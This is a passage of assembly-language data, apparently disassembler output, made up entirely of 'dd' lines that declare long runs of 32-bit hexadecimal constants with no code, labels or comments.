		dd 20E19FAh, 18C3351Dh,	730016EEh, 2A986CE5h, 23AF00B0h
		dd 7C15593h, 813EFFC7h,	0ABAD0EE6h, 100076F4h, 8E9478F5h
		dd 7B5E00AEh, 30FC073Ch, 4C007C59h, 0CB6FC423h,	3A2C836h
		dd 503BDF5Bh, 27E84117h, 58E8C680h, 4A132F03h, 0B06824D6h
		dd 1EBAD4Eh, 0D5693641h, 30CE238Ah, 781D4A9Ch, 318B35A7h
		dd 2278181Eh, 3CE52408h, 0BB4502FDh, 0E880FD53h, 11710177h
		dd 10B3EB03h, 8B648C33h, 0E89A8387h, 0FEC71624h, 2EED004Ah
		dd 33B1A562h, 6E7C3936h, 0E57C4900h, 0D1DA3F38h, 393725Bh
		dd 5E7784B2h, 8288D30Fh, 2600CF2Bh, 18B7588Bh, 11031A1h
		dd 1B4FA47Ah, 805BACFEh, 0C2B45C18h, 0E99AD5h, 55FC4896h
		dd 2BBD7485h, 0E13148h,	714CF1Eh, 90565164h, 80982EE6h
		dd 0FD4700CDh, 0AAFB6C93h, 64D88D00h, 0A49F4FAh, 0F6E5000Fh
		dd 0EB742032h, 0FF78465Ah, 31A34Ch, 782FBFC1h, 0F65879C6h
		dd 0C2B80330h, 4156C5B9h, 10E86093h, 273DA525h,	4AEB8FAFh
		dd 96805C2Dh, 0FC14F229h, 3BFAE097h, 0B60183FBh, 8C66D93Eh
		dd 48C3C026h, 0DA00E179h, 15354B29h, 0FFE3E2h, 5797DE7h
		dd 0C48E890Ah, 21A51F0Bh, 0D42D8013h, 0FCFC661Eh, 9592009Dh
		dd 0CDBB99A1h, 2A00FD32h, 9B9744B9h, 18E9CDCh, 0A0A3CB7Ch
		dd 2F5B902Dh, 0CF573580h, 0E8AD0097h, 0B81D1666h, 0A4525E79h
		dd 28501CCh, 0ACFCA7A9h, 500E1BECh, 0DEFEB6h, 0E8CE6D47h
		dd 6E90C07Ch, 46434100h, 491FDCF6h, 5C4200C9h, 0E4F062B9h
		dd 0B30E3FBFh, 0E1B69740h, 7A743E8h, 131ABCF0h,	65B0C03h
		dd 41E08DFCh, 0E8F92F76h, 170009FFh, 187E9FCAh,	72908C6h
		dd 1B2EA686h, 0B68A60B3h, 0B900ECBFh, 2BB4BDEAh, 0B814F5C2h
		dd 2FFE00CBh, 93B8296Ch, 0D5000DDAh, 1E447E1h, 30F05B10h
		dd 0BC499C35h, 9500AD2Ch, 96622027h, 7669C4D7h,	8FD61CE0h
		dd 0B4078F77h, 902411E4h, 74B5425Ch, 8B00F1B0h,	4FDFB8B2h
		dd 34DEF0h, 64A4B0A7h, 690A42A5h, 85D7FF0Eh, 72BA4094h
		dd 0E7547h, 5DB5CEC6h, 64449F5Ah, 150D771Ch, 0E3051FAEh
		dd 0FBC00453h, 2454EC36h, 208337Eh, 2DF4B038h, 151EA983h
		dd 41A0BABBh, 20CC8F1Ah, 0F86818B3h, 0F82708DDh, 0B5003F4Ch
		dd 8CA6BE15h, 0A1B60053h, 71EA526Ch, 5C00673Ah,	0D8362A23h
		dd 0B1AEACh, 8AB21672h,	33745239h, 0C8B64239h, 9CAC0048h
		dd 0B3A24F53h, 685AE6B1h, 0F17025h, 4AABEF2h, 0A105B752h
		dd 2667899Bh, 7B80945Eh, 6C3E5933h, 0F2EF005Ah,	9AD1517Dh
		dd 377B93C5h, 186F8800h, 9B3039DDh, 3D56E0CEh, 0E4817D53h
		dd 8B29EC8Ch, 0C6AC80Bh, 3FF20800h, 1F56AE19h, 0E17B9Eh
		dd 0BE78F851h, 0C0D16260h, 0D99C8300h, 47E718F7h, 1AF500E3h
		dd 0E8569625h, 15015FB0h, 1BA65E03h, 9DC849D5h,	735D00E0h
		dd 0B9EA2833h, 4F00DD29h, 0D7E12E98h, 1C9A15A6h, 56E6B7EDh
		dd 8B2101CBh, 30A18582h, 56000736h, 299F621Bh, 0ED2666Dh
		dd 77E1133Fh, 0A003BFB2h, 0B09A6E61h, 79785C2h,	736AFE46h
		dd 230A5042h, 0C4054C30h, 8D73ED9h, 6A0FF45Dh, 0FD8101A1h
		dd 0E1D339C3h, 4229968h, 0EF735F00h, 6463607h, 0FEBE4C0Eh
		dd 21048C0Ch, 5EB4C72h,	10330071h, 0B8997188h, 371F2A2Fh
		dd 2870EC2Dh, 0C9B11Eh,	5B74A8FCh, 0D90E47F1h, 70DC57F9h
		dd 0D2C244A0h, 610911C0h, 6A171F0h, 54BE537Ch, 0D36008F4h
		dd 0F0296621h, 0DF8F02F5h, 68BF276Ch, 0BB8897E0h, 92784E60h
		dd 49C1EA3Fh, 58004C35h, 975A8546h, 2D331E72h, 6909BBh
		dd 858FF821h, 12EE0A7Fh, 1CA158h, 0DC39C457h, 0D9A0D42Bh
		dd 1959A8B0h, 29703820h, 115424A1h, 2B6F0020h, 9B684BF0h
		dd 0D60C0E95h, 8360F2E6h, 2832CF71h, 2EF28C6h, 40D40E31h
		dd 9960C519h, 0FFEBED41h, 4D6CD100h, 0F66596D5h, 1FC67F47h
		dd 0C10D01D2h, 2CB4AB29h, 1322DCE9h, 0FAD02A00h, 0F4D4A125h
		dd 0B9AD003Ch, 7FD689A4h, 0F1E6052Fh, 3200BDF2h, 5D4CB793h
		dd 0FC70283h, 0A78C67E4h, 2FE6A6E0h, 0C37B57A3h, 0A26B491Eh
		dd 0DD12F0C0h, 0A41C7Dh, 0BBA89668h, 0E620C894h, 5E455Ch
		dd 1760AB76h, 0FC02F93Eh, 0F57F3A77h, 14064800h, 331FE6C5h
		dd 0A775B100h, 0AD5AAE1Dh, 0D86503DEh, 0E0A210D6h, 796E1EC0h
		dd 0C9534700h, 0EE229181h, 808C02FBh, 5DE4E0C5h, 0C7DE25E0h
		dd 9CC8DD00h, 6F55A6E3h, 40280078h, 0EDF2B3E5h,	7D0CFF85h
		dd 580454B1h, 0FCBA38E4h, 264E0F80h, 0D053138Ah, 69574A01h
		dd 0E75C7507h, 3C2752F0h, 0F418649Dh, 8CC53911h, 9F789510h
		dd 0DC8FF100h, 0D2C11D98h, 183EA940h, 31FECDABh, 0EF7646A0h
		dd 0BF4C4100h, 53345DF0h, 0BAE1C0D3h, 52C739B9h, 982B1B00h
		dd 0FBDA4436h, 93AA00F4h, 2105AC2Ah, 0AD33083Bh, 3BA6F854h
		dd 54E70F19h, 10689C78h, 0EFFFAB18h, 63E7F759h,	0FE7F81A3h
		dd 0C74A44B1h, 80A443E1h, 0DB944218h, 36383Fh, 99A2E892h
		dd 0C3C22F90h, 0C135C000h, 0E7BF4402h, 1ECFC96h, 97FBC926h
		dd 0E0A3CEA4h, 4102E825h, 0AA92FF8Eh, 612F6232h, 0EBE55BC6h
		dd 7D8ADCh, 9623B909h, 7BBB86E3h, 50ECE4E8h, 0D4163D01h
		dd 0FC8CABDh, 0E8C93AE8h, 0BE21C06Dh, 0C0FE0171h, 9A9E7400h
		dd 0DC071D47h, 51A58070h, 893AC490h, 2D100F8Fh,	0E9B94040h
		dd 0DDDE27h, 41B8F211h,	5FE46CC0h, 6A7FFE00h, 69C96224h
		dd 671C01DDh, 0AF1438E3h, 0D8A0876Ch, 70A0D652h, 28502Eh
		dd 90ADD76Bh, 0B22C36E9h, 19D87800h, 0F85CB8AAh, 0D6A800C4h
		dd 707CE3ADh, 0C75332FCh, 12F38120h, 40096729h,	0E5E12A4Ch
		dd 86CA0A38h, 6184E27Bh, 68A03F9h, 25680BA7h, 0C3ACAE88h
		dd 5D2CC406h, 60E5A9h, 27E70D72h, 0DC284574h, 2C125674h
		dd 0A9073734h, 0C0913984h, 0F881705Ch, 7A29A864h, 63608065h
		dd 99ADB707h, 2438A17Eh, 2AC91C60h, 0A8C0F79h, 0E015D8E5h
		dd 99140210h, 8F1881F4h, 0F641CE56h, 0C15F0426h, 396BA430h
		dd 0C3B6A0h, 3B29D3E1h,	71DA0ED6h, 74982C00h, 63B04C7Dh
		dd 38D0D8A7h, 8CA1D291h, 287CD829h, 0E139C800h,	0E3DDFE1Dh
		dd 11C939Dh, 0BDAD1638h, 87F119D2h, 30A79040h, 952300E9h
		dd 81C18B06h, 757EB814h, 0E1C8EF50h, 9F3B0100h,	33CC0967h
		dd 58DD6017h, 22940370h, 692EB803h, 2A06616Fh, 0BC7E09h
		dd 7422D5A3h, 91DF5653h, 0B51D6A7Dh, 25C1A923h,	5DADB9F3h
		dd 313F8048h, 7E1A860h,	80E9801Bh, 5EAB26EAh, 97EE00CDh
		dd 4955D586h, 8903CB7Eh, 0E37F0F75h, 8B9190CEh,	441C0D6h
		dd 0A7323BA0h, 7B4B0707h, 8C2ECF4Ch, 9321D8h, 0C4AC3BA8h
		dd 397A356Fh, 5AA3770Fh, 91688CF6h, 3C327F70h, 0AC5351B0h
		dd 0A9F81DE4h, 2E1500ACh, 0FA81CFC2h, 0C125FC03h, 0E0993ACBh
		dd 0AE4CCFFh, 57A89F33h, 550F4FECh, 24A4DC03h, 0DA828900h
		dd 708B18BCh, 317903EDh, 0AD34E505h, 7C84C20Ah,	57118027h
		dd 30E7A68Fh, 324CB4A7h, 390029DFh, 8893EC3Bh, 0B20060E6h
		dd 818722F4h, 190F6Fh, 0AE4D2510h, 717F316Dh, 0A1E20430h
		dd 11CA343h, 27AC849Eh,	98BC8CD0h, 0D921E108h, 0DD1C00AEh
		dd 0CBC65A04h, 0FC0430D7h, 7AF3567Ch, 0E0070C94h, 0C183D6BCh
		dd 9A48C419h, 2B2DDECCh, 11E0FFA7h, 0D56A0031h,	0BE713D3Bh
		dd 9BB081h, 0C4E55273h,	29C6D825h, 0E6508C03h, 0A08A60E9h
		dd 12ECC10Ah, 11B6E8Dh,	0C64A0CC6h, 0B79AF070h,	0E820DF48h
		dd 0F3018CADh, 61A2EDE7h
		dd 1835721Dh, 76EB4B60h, 67B800BAh, 0F034C08Fh,	0C6FA375Eh
		dd 300BE803h, 0D8A0B7DBh, 0ABCB2BB3h, 8881949Ch, 6C32BBD4h
		dd 4F530275h, 1F24527Bh, 0C8E2FC60h, 0C3FA424h,	945FB280h
		dd 0F160743h, 9BF19E7Ch, 2FFCCA0h, 0A41D24B4h, 3E438CB9h
		dd 0B2D8E287h, 84C08986h, 3E60DF2Ch, 0BD13AB16h, 102CC9A2h
		dd 15602A5h, 0AA8EA397h, 28B580A0h, 0D2045CBDh,	0CF3F148Bh
		dd 8080409Bh, 98CA9C6h,	3FD6130Eh, 4321FA06h, 0DC0AC7F4h
		dd 4C0DF800h, 2AA8DD74h, 0A1B4AA50h, 0A618564Ch, 84971C08h
		dd 55CC70B4h, 0DFA01C00h, 0F4C63213h, 0D38F746Eh, 14B90071h
		dd 11C2A9E7h, 1366AE00h, 762BC8Dh, 6BFA034Ah, 0AB8F45B9h
		dd 6EF3311Dh, 2F033A43h, 2406953Eh, 71DD07h, 914FD787h
		dd 6440BD93h, 0ECCB9F00h, 34D1B466h, 60EAE56Eh,	86689CA8h
		dd 0AD229704h, 7462812Eh, 22FC4620h, 35B0004Ah,	0E6C5725Ah
		dd 0A560166Eh, 0B2FF1D21h, 20840003h, 0D6722EFEh, 0A8039AE0h
		dd 6A629FAh, 64A90632h,	3925FE56h, 206B1400h, 8FEA91BDh
		dd 1A752C52h, 102A84h, 2EF967E5h, 0CB074EF5h, 0C0874090h
		dd 3960EA64h, 3FE2EC2Eh, 8E672601h, 0FA3E03C5h,	0CF0189B9h
		dd 0D36FF225h, 1DD7E82Ch, 9C249906h, 7649A607h,	1630103h
		dd 863E8584h, 0BC62A4h,	29145F32h, 0F3AA6Bh, 0ACFED4DBh
		dd 78F0D6FDh, 34EC6E00h, 0A48D620Bh, 0A4567832h, 663009Ch
		dd 93FA3864h, 7834D605h, 0C8291CCh, 3BA130AEh, 1FA43912h
		dd 966C38h, 45093BA9h, 4ED2958Ah, 14055775h, 0B0F3C424h
		dd 206EF882h, 232C256h,	69877500h, 0EC92B1F7h, 0CAA83B29h
		dd 28BEBB3Eh, 49E26381h, 0F440F469h, 0A20043B3h, 0D7E7DDF5h
		dd 28C02878h, 1DD8A971h, 38DF42h, 447CA84Fh, 600084B8h
		dd 0E2F2F8AAh, 9F8C13h,	0A3A0B6D2h, 0B2BC2454h,	8481B400h
		dd 7BED3994h, 3A50706h,	0C035FC3Fh, 0DE0B83Dh, 3765090Fh
		dd 0EE40FCCCh, 25071AEBh, 0F971077Dh, 904E0D91h, 20BEECE5h
		dd 0F7370100h, 0BDE863BCh, 1FB500EFh, 678A22F8h, 0BA3A048Dh
		dd 0C5C8FE7h, 0E1ACA126h, 8080BCAEh, 681AA785h,	3A003C40h
		dd 447BAFA1h, 6B06CEh, 0E4C3E08Ch, 0F0163475h, 8D64FB00h
		dd 0B4C82D9Ch, 13F9007Bh, 24F26A93h, 0B700C5B5h, 0E804523Bh
		dd 0C0545Eh, 2F64E217h,	0CF053A98h, 92902877h, 0FBF8A524h
		dd 14AA240Fh, 4ACD0E8Fh, 729280C7h, 2717C6h, 4D8B106Eh
		dd 41982486h, 40CE9330h, 1A21FDFh, 44334905h, 10D9FDF7h
		dd 78DDD15Ch, 2970FD8h,	7FE0CF4Fh, 0BA6B79BCh, 11175D00h
		dd 9089E5BEh, 2E1B3B02h, 0BF254880h, 3C4ACCBCh,	9893E900h
		dd 19BAF66Eh, 0E4B4035Ah, 7C2D411Fh, 0EC9A71D0h, 0AA4A4900h
		dd 44ED9C88h, 0F305398Ah, 0C5122980h, 0DE1C8D7Bh, 4F03D305h
		dd 8000EE43h, 2B732FEFh, 0CAA0984h, 0A7006C0Fh,	0E9B5F260h
		dd 0D2D30500h, 4F954A67h, 14F00022h, 0B38FE86h,	3D3FADBCh
		dd 0E17582FAh, 80852CF2h, 771DA7C0h, 0A2AF3CA0h, 0D4048E00h
		dd 0CAD621F8h, 1B91F000h, 0EE4443A7h, 64EB3E82h, 40A9ED98h
		dd 0ABF4F6CDh, 44C06F50h, 99DCCB00h, 24F3A393h,	1740078h
		dd 98C17B68h, 0A901FC54h, 0F6AC9A4h, 11FD1405h,	80EBEEF5h
		dd 663309h, 0DA4E4688h,	0B34183AAh, 2CB97100h, 0D47C9981h
		dd 46D80053h, 0BBA6361Bh, 0B8EA5C5Ah, 97A4F100h, 7C782B99h
		dd 690100EDh, 0EB73627Eh, 0E500630Ch, 46ACE1C9h, 1942EEEh
		dd 0E0B10258h, 0CC5CD3B3h, 0F80EA7A9h, 0A16F7B93h, 0BE5707EAh
		dd 0AFD9D0h, 592A86Ch, 47E526CCh, 8D62433h, 0FE2103B3h
		dd 5B3892B0h, 8D74C1B8h, 1FBA18D4h, 7C800D96h, 24220FC7h
		dd 188E00A5h, 0AFD2DF8Ah, 3300EA8Ch, 0FCA87BF0h, 0B91A74h
		dd 7775280Ah, 0C2F5AF3Ah, 4F914A0h, 14B47E00h, 4D16A09Eh
		dd 61A17406h, 0FC0E21C4h, 0A7C92081h, 174F1300h, 5A2824D9h
		dd 2B4D3BFBh, 0E974968Ch, 4A7B8CB0h, 8BF3E80Eh,	93B8633Dh
		dd 1B081815h, 391F20D6h, 8DE3E800h, 0A6105E3Ah,	0A47930F4h
		dd 97315FD8h, 4CE0551Dh, 0E8A9C207h, 0A163AF00h, 389F2EB3h
		dd 59570008h, 448746B8h, 950F8D00h, 1CB9029h, 0EAC500A2h
		dd 39BD4AD5h, 0A430925Bh, 488BE9DEh, 2384007Dh,	15302ECEh
		dd 0C20050ACh, 518858Dh, 67356069h, 0D0AF20B5h,	9C380615h
		dd 0A33D20A7h, 4C2C0180h, 42B6C9A8h, 930EEB0h, 14DB117Eh
		dd 0ACBA8496h, 693D1700h, 0A50044E9h, 1103F5E7h, 994A5Bh
		dd 26FC6EE5h, 36C24DF0h, 548451C2h, 11BC8DFBh, 0ABB0040Bh
		dd 10C0ADF7h, 55C56341h, 0BB5A48CEh, 0F51CAA00h, 0BD7DBC46h
		dd 83F6AB00h, 0EA748D56h, 5829C477h, 0C72D449Ah, 449F8A44h
		dd 14486820h, 24C17342h, 0C4E6218Eh, 9C119012h,	62007CE9h
		dd 8D4C5742h, 65C8008Ah, 0EF9EFDEAh, 0F7D40901h, 0A300BF16h
		dd 632DCCB7h, 25BB5B01h, 0AC433723h, 715614F8h,	3FDF00C3h
		dd 35F91779h, 480022B7h, 94641F1Bh, 0C8A3CFh, 0D69CC2E9h
		dd 0F78C9B6Fh, 2ADE8000h, 7DFEC608h, 0B37B0014h, 0D54F921h
		dd 0FB0095D3h, 0E781BB9Ah, 0AF8DD6h, 0FD79D8F0h, 2D1A6BB1h
		dd 9C0D9000h, 0E32A9EEEh, 595D028Bh, 0C284EBCBh, 28A125C0h
		dd 780A2500h, 220D80C9h, 7A890B5Bh, 0C38CCB4Ah,	4B00F09Eh
		dd 0BFA9DB74h, 3016A27h, 2E1C0BEDh, 19009B3Dh, 9264554h
		dd 15C46D6Eh, 0F034A3E4h, 41522800h, 0C8F6D995h, 0E9AA807h
		dd 0CE7EF00Dh, 0AA81C102h, 7620B2BFh, 7BD830F5h, 0B0B79710h
		dd 9474E01h, 0F4CAC7B9h, 0F2F45C25h, 0B6DF0049h, 0CE567230h
		dd 8201C821h, 2885FEC2h, 118735BBh, 30CC7B37h, 555BB236h
		dd 417A4477h, 0C8BFF214h, 80493AA8h, 1D036591h,	4C9AEE5Dh
		dd 0C00C7DAEh, 98884B48h, 7C21A201h, 0F5E2A9EBh, 13B760h
		dd 0BD014105h, 988EDBE3h, 0B691BA00h, 0C0A067EEh, 0F6FA02h
		dd 5A6FC72Fh, 37AF72F1h, 0D055B801h, 58207974h,	0BA2BA8E7h
		dd 0B6DA006Eh, 0A2113B7Ch, 4A000233h, 0B1FA1DF2h, 0E995DBh
		dd 0CCB882A8h, 516CA466h, 20E780F4h, 0F70EAE9Ch, 0C1B6B77Dh
		dd 9EA089A7h, 0FB866E8h, 0F8B44F91h, 85784AE0h,	47055D80h
		dd 64310FFCh, 544B47C0h, 0C6E71FC9h, 0AB064082h, 56206FA0h
		dd 324AA600h, 1ACD863Dh, 0BF5401ECh, 0AF0D5713h, 79E04017h
		dd 0AB008490h, 1955AAD0h, 408218h, 6D2DA73Eh, 0A28847E1h
		dd 0FDAFDE1Fh, 89C04FDDh, 677DFF1Eh, 0D3B1898h,	0F31C1129h
		dd 80B0BC3Fh, 4213014Fh, 1A15ACh, 5F0E34AEh, 0D7685946h
		dd 4F8CF100h, 0A4FE2B79h, 0B22A014Ah, 721E2C22h, 9BC0ECDAh
		dd 0E0F433F0h, 0BFA53400h, 79EBB46Fh, 0ED0500D5h, 2A4DF86Ah
		dd 2E008ADEh, 6087207Ch, 136DC5C3h, 40C8550Ch, 3573A844h
		dd 0B3EEEDC6h, 0D0653B00h, 9FEBB904h, 0F36D0036h, 0B50C859Bh
		dd 0E0181F0h, 0A483388Ah, 17C4A966h, 0BF9300AEh, 59FB5301h
		dd 0F000B4B6h, 30FDBEAAh, 0B08FE4A8h, 2A7300EDh, 2F21FCFAh
		dd 38C05556h, 0E2BD74EAh, 7AF304BEh, 80B71B57h,	0A852AA7Eh
		dd 0CF885400h, 0E3C6E985h, 226C13CAh, 0A5FF00BDh, 44C1F250h
		dd 0EAF86B07h, 0A2175615h, 2EF09097h, 6AFB5h, 0A45B939Fh
		dd 48E8673Eh, 0EF08760h, 8C1D34h, 5C47B916h, 49817E93h
		dd 0EF6E1800h, 135ACB61h, 60EA05D2h, 0E5C62BAh,	32E08EB9h
		dd 7AEBEEBh, 0A7A2E600h, 0CF7B4BA9h, 79F7603h, 69DD524Ah
		dd 403AB0C8h, 0A261EAFh
		dd 6402CA5Eh, 99C5A627h, 0A8D4B5B4h, 6B5702BBh,	0C166F9FDh
		dd 82BAD60h, 0FECFE903h, 0D80B75C5h, 0BDBA8Ch, 10FA4AAAh
		dd 18D280F9h, 25CFD114h, 0C0730590h, 0D401AF3Ch, 6AEFB138h
		dd 60531887h, 0C287295Ah, 7F9F801Bh, 9850E199h,	1703DC1Ch
		dd 74A0CC15h, 0BDEB90Ch, 0F7F1C70h, 0BE55C76Dh,	0DFB995C0h
		dd 0A50149EEh, 0D34AEBC3h, 86E4B765h, 19D7816h,	6E1DEC56h
		dd 0F585F815h, 59E4406Fh, 5B007635h, 0D33B5EB8h, 0A0C337E1h
		dd 0FA54BC0h, 0CB88BDC0h, 0F3803FC7h, 56B8C76Ah, 0D226F402h
		dd 12006491h, 0E21B66E6h, 989BE070h, 4CE9A04Ch,	9D6A306Ch
		dd 0AC3AD510h, 8F27CE00h, 0BBEAE24h, 100E0F08h,	0D3C15FE1h
		dd 87C22A79h, 32BD0378h, 934F1880h, 1D860092h, 3B637AE0h
		dd 5D1FECE5h, 0F400C82Fh, 1F507EE8h, 751B01B0h,	0E62DD9F7h
		dd 49A44061h, 633019C5h, 3D5980BCh, 89ED0F41h, 0ECA06079h
		dd 965EF390h, 5C7A4607h, 0AB0266C1h, 0B8B0C393h, 90DD8037h
		dd 0EC045A45h, 0A43500BBh, 34EC5554h, 9CD7DF3h,	25CBA5A1h
		dd 20DBCC87h, 3CA4967Ch, 0C3308500h, 42F15B15h,	0CFF4011Dh
		dd 21249986h, 0C81280D0h, 8D5B2AF0h, 1CD30779h,	70498727h
		dd 0F80266A3h, 1525EE48h, 0F4BB59h, 0DE9A7CF4h,	60644694h
		dd 406E701Bh, 53F20420h, 1A06B300h, 122B1154h, 0BE2C006Ch
		dd 0B322339h, 70025BAh,	0A6FAD186h, 0E3DD34h, 1C882831h
		dd 0F3D2B8BCh, 0CA01709Ah, 22E9E791h, 0FBECC4D9h, 0A9870136h
		dd 48E06B45h, 98F8535Ah, 25FEFCE8h, 0F101ED12h,	0A1A0CF17h
		dd 0C45C0C61h, 3D107F2Fh, 8556D700h, 433A1017h,	187E6380h
		dd 0DEE0EE55h, 15045A9Ah, 29BD89FBh, 6C90ECC0h,	48230F17h
		dd 518CFFD2h, 0A300F419h, 0E70ADAC4h, 3C3773h, 0BFD13002h
		dd 94971131h, 0EB1CC271h, 0E25EC616h, 0ADB59F40h, 0E058C9Ch
		dd 0FE8A0415h, 0BEE05FC0h, 547BE72Ch, 60398100h, 899EE446h
		dd 0C13C00B3h, 0A1F11F33h, 4A008FD0h, 0D822C382h, 9242A9h
		dd 7B93FA7Fh, 0FB51B350h, 81E89800h, 0E43C68C6h, 8F943915h
		dd 420FC780h, 8824B7BEh, 0F27A5000h, 75B141C0h,	0E81A006Ah
		dd 85803A5h, 6600CBBEh,	31FDD487h, 0C685476h, 184F0735h
		dd 0F0FFE320h, 3C00CD71h, 4DC5EF5Ah, 0CC66712h,	9084CFB9h
		dd 90140F8h, 0A976BA4Ch, 7BD8DACAh, 37D90056h, 99F70B8Bh
		dd 0DB00A7C9h, 33C7CBF5h, 5B845Dh, 68067ACCh, 41AB1786h
		dd 78005F74h, 72EFFEE1h, 5DC922Ch, 99DEEA7Ah, 6FD1003Bh
		dd 50B60D87h, 10616600h, 0A1EC684Bh, 0BF2003B1h, 521C154Dh
		dd 0C6FA38A0h, 0F13B3Dh, 0F2441FB3h, 874FDEh, 0AF3903A7h
		dd 97FF8242h, 0F0BD8C00h, 0B83604Ch, 92640069h,	45C7F406h
		dd 3E00FB43h, 0BD96716Ch, 0B10D242h, 8B2897Dh, 2AC43206h
		dd 0A929E607h, 99204620h, 0BCEA25h, 0E731D383h,	0C734308h
		dd 0BB798A3Dh, 0A8E80BBh, 4C67B869h, 6E900278h,	2361F895h
		dd 0E53980FDh, 1F3685h,	3D0CC620h, 0ED4429F9h, 0C4464E07h
		dd 0EE80D404h, 6848BFEh, 0C623DFADh, 9600F05Ah,	0E8955E5Fh
		dd 0F803563h, 3F9BE43Ah, 10D72CE7h, 288970A4h, 85BCA03h
		dd 884B0DD8h, 13F04DBh,	83F2DF69h, 312E410Ah, 9C4880C2h
		dd 54F3FD22h, 0E9170080h, 0B21F7929h, 9500D746h, 0ECC3E46Ah
		dd 60F4C95Fh, 0F5A8203Fh, 7D0059F6h, 3D6791A3h,	3AD93Ch
		dd 0F2715177h, 0E12CF7CDh, 300B1FAh, 0BA9A74FCh, 24FB9E54h
		dd 54734Dh, 0B495C9BFh,	2C006FFEh, 224C345h, 0CE7DA5h
		dd 1B8F26E9h, 0A7A39318h, 30069F0h, 5A29C20Dh, 7666E01h
		dd 798798Fh, 0F311A0EEh, 0ACA015B9h, 0E601E0FCh, 845B9493h
		dd 0B420F849h, 18FD8868h, 0F8AB4230h, 0C7485Eh,	2BB6D29Ah
		dd 0BD4B08ADh, 0AE3A3300h, 5698E9B3h, 0D6E800DDh, 54757F65h
		dd 7A00D21Dh, 0ED2CA82Ah, 4818C2BDh, 0DF01A01Bh, 94B8BCBh
		dd 0E2ACF465h, 7C46D31Dh, 7AF22D00h, 0E0603Bh, 0C36ECBC8h
		dd 87E8C5EDh, 4463E712h, 4F789C18h, 9CCE4853h, 8E25A900h
		dd 0DFF56C8h, 0CF63F200h, 94806B92h, 7B730084h,	68AE51FEh
		dd 0D200099Fh, 29C53E3Dh, 1E99E3C3h, 81EAD7AAh,	78E9A3C4h
		dd 4E937045h, 50009C90h, 733E1C6h, 0C34275h, 2C58B7D4h
		dd 71C13E8Bh, 7266DE02h, 414C46DCh, 23C8C768h, 903600ECh
		dd 87633D5h, 0C5036AF5h, 0A0D162B4h, 0B99FEAh, 0AB3E2EF0h
		dd 0EF1D0970h, 400002A4h, 98316EBBh, 0CF113326h, 703C8038h
		dd 7FCF38F6h, 0DF88012Eh, 2B4206CEh, 5D74D84Eh,	0E591891Dh
		dd 65160940h, 0FEBE6Dh,	83FA4462h, 47295739h, 6400F8F6h
		dd 33C627B9h, 904C1E58h, 0AA100B2h, 0D7C8A0B1h,	0BA002978h
		dd 3FDB6D43h, 901AEB9Fh, 9736009Eh, 8B28C791h, 6C3AB47Dh
		dd 0F8780AAh, 5AAD35F1h, 0D7E426DEh, 0B7E0000h,	52C3C7A6h
		dd 60022B00h, 7429F4Bh,	0FBBB0E5Ch, 0C2009821h,	0AFF522E0h
		dd 7F7093Ah, 6D8EC5AEh,	0E6DF7910h, 0FAED1315h,	0BF2700D6h
		dd 5FD13D85h, 5C126E01h, 5009822Fh, 0C0985424h,	0EDDE31A0h
		dd 79003B02h, 0CAAF29EFh, 28F2AD41h, 0ACCB74h, 0E6C721EBh
		dd 3CCC888h, 6662AA00h,	0DFEC273Fh, 0C6330760h,	80974570h
		dd 8BDC953Ah, 40A85E0Eh, 2843A5CAh, 47E14091h, 94757180h
		dd 0D4FCB207h, 1E41B100h, 9FF2EFFFh, 96B7617h, 0B6495B92h
		dd 0D86C0080h, 914B9CEh, 94ED54h, 77F9E8Bh, 7C70314h, 3E4ACAFEh
		dd 2470F017h, 0EE02AB1Fh, 0DDE5B3B1h, 447C6811h, 645E0392h
		dd 5504EF9h, 0DF07D87Dh, 229E025Dh, 338F0AE1h, 0EEED39C0h
		dd 20EE0030h, 6D1EDFEBh, 9C039EAEh, 9D43F0C1h, 0A0198874h
		dd 2AF0C08Ch, 10F602FEh, 0B100A2F8h, 0A15E7022h, 239021h
		dd 873BA812h, 0B3510F13h, 201CCA00h, 497BAAE6h,	0EC2E1376h
		dd 0E2A04711h, 0BB26C117h, 44E8C3EEh, 76FEDC61h, 0EA72B600h
		dd 373ECBC5h, 0C296B8AFh, 9F8DA610h, 81A85CC3h,	56233E2h
		dd 653D2DF1h, 921600E0h, 1830A1DDh, 25C66000h, 0AE672EF9h
		dd 4994F8CFh, 3B01ECE7h, 0D93092E6h, 32EE095h, 8476730Eh
		dd 9CB7C0DDh, 7251934Ah, 0EFF10015h, 11C3F33h, 0BF076E78h
		dd 0AC5F528h, 0D94C430h, 31E21EC7h, 69054974h, 961FA000h
		dd 6B00EC8Eh, 8CDD0D6Ch, 75068342h, 0F7BC02FCh,	3207D6CAh
		dd 209D1CC0h, 0A31DF600h, 85B752AFh, 7FE5792Ch,	0EEAD060Fh
		dd 0E0AAE926h, 33A2139h, 0AF974041h, 8281A88Ch,	0D4225863h
		dd 543FAE00h, 0B2AC53D7h, 8913E2F0h, 0E039195h,	9880C24Ch
		dd 716C5F3h, 2746C8A6h,	0CB3750D8h, 65044296h, 0C7419EA0h
		dd 7B854080h, 7E1400B0h, 50730C38h, 3054CD87h, 7D00ADBCh
		dd 4C17A699h, 2C1AAC67h, 708E21h, 57254F7Ah, 63E2A33Eh
		dd 1E04D371h, 0A434C91Fh, 0F998F4C0h, 828C13B7h, 5803EAF8h
		dd 889339A0h, 8A79F6h, 94EABED1h, 6F04FD37h, 2491BC74h
		dd 0FB331700h, 0E1820A1h, 541548CBh, 4780BA4Bh,	0A736A892h
		dd 5CAF342Eh, 797D4A81h, 1180AB45h, 0D53E8E91h,	0BC009282h
		dd 0FCA84835h, 1FAC0Fh,	0EB239AE9h, 6141F247h, 0F71C4B0Eh
		dd 201E5220h, 439DEC02h, 7FFC8151h, 4CE862CAh, 7DE52A32h
		dd 0BF7AECh, 2A5641CCh,	52861C2Fh, 97A11B00h, 0F79A0592h
		dd 8776003Fh, 4F75BA98h, 4E58B077h, 4D6002DCh, 407F945Dh
		dd 0DE4BFCh, 0A02BC9E1h, 0F92AD80Fh, 3011A200h,	0C5F0B9ADh
		dd 0D3E0071Ch
		dd 90FFA4C4h, 6FDCB292h, 0C2906217h, 0B191E103h, 9BF5C0F1h
		dd 0A740C3DDh, 3F91FECEh, 122980FBh, 0E77C6E73h, 0AAF0453h
		dd 80DE423Eh, 2947D35Ch, 77273C1Dh, 0EC889080h,	8B61DBh
		dd 0B5F24658h, 0FC02FD51h, 190A748h, 3A3C7A47h,	1080BEAAh
		dd 27CDDA88h, 0AD0CD9CEh, 58DC5F52h, 0E47D5520h, 0C5F981FBh
		dd 0E81AB243h, 48B0EBBCh, 3C00B456h, 0ECE5BE2Bh, 0AD001525h
